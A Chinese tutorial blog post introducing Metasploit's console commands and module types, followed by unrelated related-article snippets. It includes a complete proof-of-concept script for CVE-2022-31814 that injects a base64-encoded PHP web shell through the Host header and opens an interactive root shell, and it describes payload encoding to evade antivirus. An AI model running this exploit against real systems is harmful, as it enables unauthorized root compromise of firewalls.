渗透之认识Metasploit

news2024/9/29 23:32:58

Metasploit:

The Metasploit Framework 的简称。是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。 MSF 高度模块化,即框架由多个 module 组成,是全球最受欢迎的渗透测试工具之一。

好了直接进

首先我们可以直接打开kali系统的终端控制台或者通过ssh进入

这一步可以参照这专栏之前的博客(别旷课哈,环环相扣,旷课就坐飞机了)

我这里就直接通过控制台进了 ,你也可以通过xshell等等工具进入

切换到root用户再执行

msfconsole

这里就是启动Metasploit控制台的命令

 

好了我们来了解一下,控制台输入help

help

 核心命令

 

核心命令
=============

    命令          描述
    -------       -----------
    ?             帮助菜单
    banner        横幅
    cd            打开或更改当前目录
    color         切换颜色
    connect       连接与主机通信
    debug         调试
    exit          退出
    features      未来、显示尚未发布功能列表
    get           获取特定上下文列表
    getg          获取全局变量的值
    grep          Grep另一个命令的输出
    help          帮助菜单
    history       显示历史命令
    load          加载框架插件
    quit          退出控制台
    repeat        重复命令列表
    route         路由,通过会话路由量
    save          保存活动数据存储
    sessions      转储会话列表并显示有关会话的信息
    set           将上下文特定变量设置为值
    setg          将全局变量设置为值
    sleep         在指定的秒数内不执行任何操作
    spool         将控制台输出写入文件以及屏幕
    threads       线程查看和操作后台线程
    tips          显示有用的生产力提示列表
    unload        卸载框架插件
    unset         取消设置一个或多个上下文特定变量
    unsetg        取消设置一个或多个全局变量
    version       显示框架和控制台库版本号

 模块命令

 


模块命令
===============

    命令          描述
    -------       -----------
    advanced      显示一个或多个模块的高级选项
    back          从当前上下文返回
    clearm        清除模块堆栈
    favorite      将模块添加到收藏夹模块列表
    info          显示一个或多个模块的信息
    listm         列出模块堆栈
    loadpath      从路径搜索和加载模块
    options       显示一个或多个模块的全局选项或
    popm          从堆栈中弹出最新的模块并使其处于活动状态
    previous      将先前加载的模块设置为当前模块
    pushm         将活动模块或模块列表推送到模块堆栈上
    reload_all    从所有定义的模块路径重新加载所有模块
    search        搜索模块名称和说明
    show          显示给定类型的模块或所有模块
    use           通过名称或搜索词/索引与模块交互

 工作命令

 

工作命令
============

    Command       Description
    -------       -----------
    handler       作为作业启动负载处理程序
    jobs          显示和管理作业
    kill          杀死终结工作
    rename_job    重命名作业

数据库后端命令

 

数据库后端命令
=========================

    Command           Description
    -------           -----------
    analyze           分析有关特定地址或地址范围的数据库信息
    db_connect        连接到现有的数据库
    db_disconnect     断开与当前数据库实例的连接
    db_export         导出包含数据库内容的文件
    db_import         导入扫描结果文件(文件类型将被自动检测)
    db_nmap           执行nmap并自动记录输出
    db_rebuild_cache  重建数据库存储的模块高速缓存
    db_remove         删除保存的数据服务条目
    db_save           将当前数据服务连接保存为启动时重新连接的默认连接
    db_status         显示当前数据服务状态
    hosts             列出数据库中的所有主机
    loot              列出数据库中的所有战利品
    notes             列出数据库中的所有笔记
    services          列出数据库中的所有服务
    vulns             列出数据库中的所有漏洞
    workspace         在数据库工作区之间切换

 可以直接查询某个模块或者选项,然后你去慢慢了解这些都是用来干啥的以及用法

search option

auxiliary 辅助模块

 辅助模块通常用来搜集情报的工作,从而帮助我们发起更具目的性的精准攻击(端口扫描,密码爆破,敏感目录嗅探。。。)

exploits漏洞利用模块

 之前我们大概看了一下漏洞CVE和CNVD信息安全共享平台公布的漏洞

既然我们公布了这些漏洞,那我们该怎么利用这些漏洞呢?

比如 

CVE-2022-31814

 它的复现脚本


import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()
 
url = args.url
shell_filename = "system_advanced_control.php"
 
def check_endpoint(url):
	response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
	if response.status_code == 200:
		print("[+] pfBlockerNG is installed")
	else:
		print("\n[-] pfBlockerNG not installed")
		sys.exit()
 
def upload_shell(url, shell_filename):
	payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
	print("[/] Uploading shell...")
	response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
	time.sleep(2)
	response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
	if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
		print("[+] Upload succeeded")
	else:
		print("\n[-] Error uploading shell. Probably patched ", response.content)
		sys.exit()
 
def interactive_shell(url, shell_filename, cmd):
	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
	print(str(response.text)+"\n")
 
 
def delete_shell(url, shell_filename):
	delcmd = "rm /usr/local/www/system_advanced_control.php"
	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
	print("\n[+] Shell deleted")
 
check_endpoint(url)
upload_shell(url, shell_filename)
try:
	while True:
		cmd = input("# ")
		interactive_shell(url, shell_filename, cmd)
except:
	delete_shell(url, shell_filename)
            

 而更多时候我们做渗透时并不关心它的过程,而只注重能不能复现的结果

而exploits 集成了很多当前主流的一些漏洞脚本,把它模块化,更加方便的我们进行漏洞复现

 payloads攻击载荷

payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的(反弹链接等等),可返回shell,也可以进行程序注入等。也有人把payloads称 为shellcode。

1、singles独立的载荷,一个Singles载荷可以在目标系统上添加用户或运行calc.exe文件。
这些攻击载荷都是自包含的,所以它们能被像netcat等非metasploit程序捕获。

2、stagers:传输器载荷,在攻击者与被攻击者之间建立网络连接,同时要设计的小而可靠,
可以在漏洞利用后方便注入,这类载荷功能都非常相似,大致分为bind型和reverse型,
bind型是需要攻击机主动连接目标端口的;
而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。

3、stages:传输体载荷,它可以利用微小的stagers载荷以适应那些漏洞利用空间狭小的漏洞完成攻击。
在漏洞攻击过程中,漏洞攻击开发者能够支配的内存空间非常有限。
stagers则可以利用这些空间,其主要工作就是完成stages载荷的剩余任务,
在stagers建立好稳定的连接后,攻击机将stages传输给目标机,
由stagers进行相应处理,将控制权转交给stages

post后渗透阶段模块

漏洞利用成功获得meterpreter之后,向被该目标发出各种指令的操作

比如: 提权,留后门,敏感数据提取等等。。。

encoders编码器模块

 编辑器模块其包含的各种编码工具可以对payload进行编码加密,以便绕开目标机器的各种防御,也就是给你的木马后门加壳混淆,以规避防病毒或NIDS、EDR等防御。

evasion 逃避模块

用来生成免杀payload 用于规避防御的模块,例如防病毒规避、AppLocker 绕过、软件限制策略 (SRP) 绕过等。

Nops空指令模块

空指令指不会对程序运行状态造成任何实质影响的空操作或者无关操作的指令,并不是实际意义上的空,通常用来填充、延迟、等待、清除、破解等操作
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/375200.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Normalization

1、BN&#xff08;Batch Normalization&#xff09; 深度网络参数训练时内部存在协方差偏移&#xff08;Internal Covariate Shift&#xff09;现 象&#xff1a;深度网络内部数据分布在训练过程中发生变化的现象。训练深度网络时&#xff0c;神经网络隐层参数更新会导致网络输…

(十九)操作系统-进程互斥的硬件实现

文章目录一、知识总览二、中断屏蔽方法三、TestAndSet指令四、Swap指令五、总结一、知识总览 二、中断屏蔽方法 利用“开/关中断指令”实现&#xff08;与原语的实现思想相同&#xff0c;即在某进程开始访问临界区到结束访问为止都不允许被中断&#xff0c;也就不能发生进程切换…

安装_配置参数解读_集群安装配置_启动选举_搭建启停脚本---大数据之ZooKeeper工作笔记004

这里首先下载zookeeper安装包,可以看到官网地址 找到download 点击下载 找到老一点的,我们找3.5.7 in the archive 点击 然后这里找到3.5.7这一个 然后下载这个-bin.tar.gz这个

IDEA上使用git,知道这几步操作就够了!

前言由于一年多没用git&#xff08;种种原因不堪回首&#xff09;&#xff0c;所以在上班当天&#xff0c;整个人都不好了&#xff0c;从拉取代码到提交代码&#xff0c;整整花费了不少时间&#xff0c;而且有些操作都不知道啥作用&#xff0c;点也不是&#xff0c;不点也不是&…

SpringCloud之MQ笔记分享

MQ异步通信 初始MQ 同步通信 优点&#xff1a;时效性较强&#xff0c;可以以及得到结果 Feign就属于同步方式–问题&#xff1a; 耦合问题性能下降&#xff08;中间的等待时间&#xff09;资源浪费级联失败 异步通信 优点 耦合度低性能提升&#xff0c;吞吐量高故障隔离…

机器学习经典算法——决策树(Decision Tree)

决策树的基本原理 决策树是⼀种分⽽治之的决策过程。⼀个困难的预测问题&#xff0c;通过树的分⽀节点&#xff0c;被划分成两个或多个较为简单的⼦集&#xff0c;从结构上划分为不同的⼦问题。将依规则分割数据集的过程不断递归下去。随着树的深度不断增加&#xff0c;分⽀节…

Django-版本信息介绍-版本选择

文章目录1.如何获取Django1.1.选项1:获取最新的正式版本1.2.选项2:获取4.2的beta版1.3.选项3:获取最新的开发版本2.得到之后3.支持版本4.选择版本1.如何获取Django Django在BSD许可下是开源的。我们建议使用最新版本的Python 3。支持Python 2.7的最新版本是Django 1.11 LTS。请…

判断一个用字符串表达的数字是否可以被整除

一.问题引出 当一个数字很大的时候,我们常用字符串进行表达,(超过了int和long等数据类型可以存储的最大范围),但是这个时候我们该如何判断他是否可以被另一个数整除呢? 这个时候我们不妨这样来考虑问题,每次将前边求模之后的数保存下来,然后乘以10和这一位的数字进行相加的操…

Linux 阻塞和非阻塞 IO 实验

目录 一、阻塞和非阻塞简介 1、IO 概念 2、阻塞与非阻塞 二、等待队列 1、等待队列头 2、等待队列项 3、将队列项添加/移除等待队列头 4、等待唤醒 5、等待事件 三、轮询 1、应用程序的非阻塞函数 2、Linux 驱动下的 poll 操作函数 四、阻塞IO之等待事件唤醒 添加…

JavaScript split()方法

JavaScript split()方法 目录JavaScript split()方法一、定义和用法二、语法三、参数值四、返回值五、更多实例5.1 省略分割参数5.2 使用limit参数5.3 使用一个字符作为分割符一、定义和用法 split() 方法用于把一个字符串分割成字符串数组。 二、语法 string.split(separat…

Linux驱动中的open函数是如何从软件打通硬件呢?

一、前言 打开文件是Linux系统中最基本的操作之一&#xff0c;open函数可以实现打开文件的功能。下面我将为您介绍open函数打通上层到底层硬件的详细过程。 二、open函数打通软硬件介绍 open函数是系统调用中的一种&#xff0c;其原型定义在头文件unistd.h中&#xff1a; #…

webpack模块化的原理

commonjs 在webpack中既可以书写commonjs模块也可以书写es模块&#xff0c;而且不用考虑浏览器的兼容性问题&#xff0c;我们来分析一下原理。 首先搞清楚commonjs模块化的处理方式&#xff0c;简单配置一下webpack&#xff0c;写两个模块编译一下看一下&#xff1a; webpac…

【数据结构与算法】——第八章:排序

文章目录1、基本概念1.1 什么是排序1.2 排序算法的稳定性1.3 排序算法的分类1.4 内排序的方法2、插入排序2.1 直接插入排序2.2 直接插入排序2.3 希尔排序3、交换排序3.1 冒泡排序3.2 快速排序4、选择排序4.1 简单选择排序4.2 树形选择排序4.3 堆排序4.4 二路归并排序5、基数排序…

Benchmark测试——fio——源码分析

1. main 1.1 parse_options() 解析选项&#xff0c;更新数据结构 1.1.1 fio_init_options() 1.1.2 fio_test_cconv(&def_thread.o) <cconv.c> 1.1.2.1 convert_thread_options_to_cpu() 传递options给数据结构 1.1.3 parse_cmd_line() switch语句多路选择&am…

Vue3电商项目实战-商品详情模块8【23-商品详情-评价组件-图片预览、24-商品详情-评价组件-★分页组件】

文章目录23-商品详情-评价组件-图片预览24-商品详情-评价组件-★分页组件23-商品详情-评价组件-图片预览 目的&#xff1a;封装一个组件展示 图片列表 和 预览图片 功能。 大致步骤&#xff1a; 准备一个组件导入goods-comment.vue使用起来&#xff0c;传入图片数据展示图片列…

华为OD机试模拟题 用 C++ 实现 - 快递货车(2023.Q1)

最近更新的博客 【华为OD机试模拟题】用 C++ 实现 - 最多获得的短信条数(2023.Q1)) 文章目录 最近更新的博客使用说明快递货车题目输入输出示例一输入输出Code使用说明 参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。 华为 OD 清单…

逻辑地址和物理地址转换

在操作系统的学习中&#xff0c;很多抵挡都会涉及虚拟地址转换为物理地址的计算&#xff0c;本篇就简单介绍一下在分页存储管理、分段存储管理、磁盘存储管理中涉及的地址转换问题。 虚拟地址与物理地址 编程一般只有可能和逻辑地址打交道&#xff0c;比如在 C 语言中&#x…

常用逻辑运算符

逻辑符号表格 逻辑符号含义描述&按位与将数字转成二进制计算&#xff0c;两个位都为1时&#xff0c;结果才为1|或两个位都为0时&#xff0c;结果才为0 &#xff0c;反知任何一个为1结果为1^异或两个位相同为0&#xff0c;不同为1<<左移整体二进位全部左移若干位&…

《数据库系统概论》学习笔记——第五章:数据库完整性

教材为数据库系统概论第五版&#xff08;王珊&#xff09; 本章概念比较多&#xff0c;稍微记一下 数据库的完整性 数据库的完整性指的是数据的正确性和相容性 完整性&#xff1a;指数据是符合现实世界语义、反映当前实际状况的 相容性&#xff1a;数据库同一对象在不同关系表…

操作系统——7.进程的定义,组成,组成方式和特征

目录 1.概述 ​编辑2.定义 2.1单道程序 2.2多道程序 2.3进程定义 3.进程的组成 3.1进程的组成内容 3.2 PCB中的内容 4.进程的组织 4.1进程的两种组织方式 4.2链接方式 4.3索引方式 5.进程的特征 6.小结 这篇文章&#xff0c;我们主要来学习一下进程的定义&#xff0…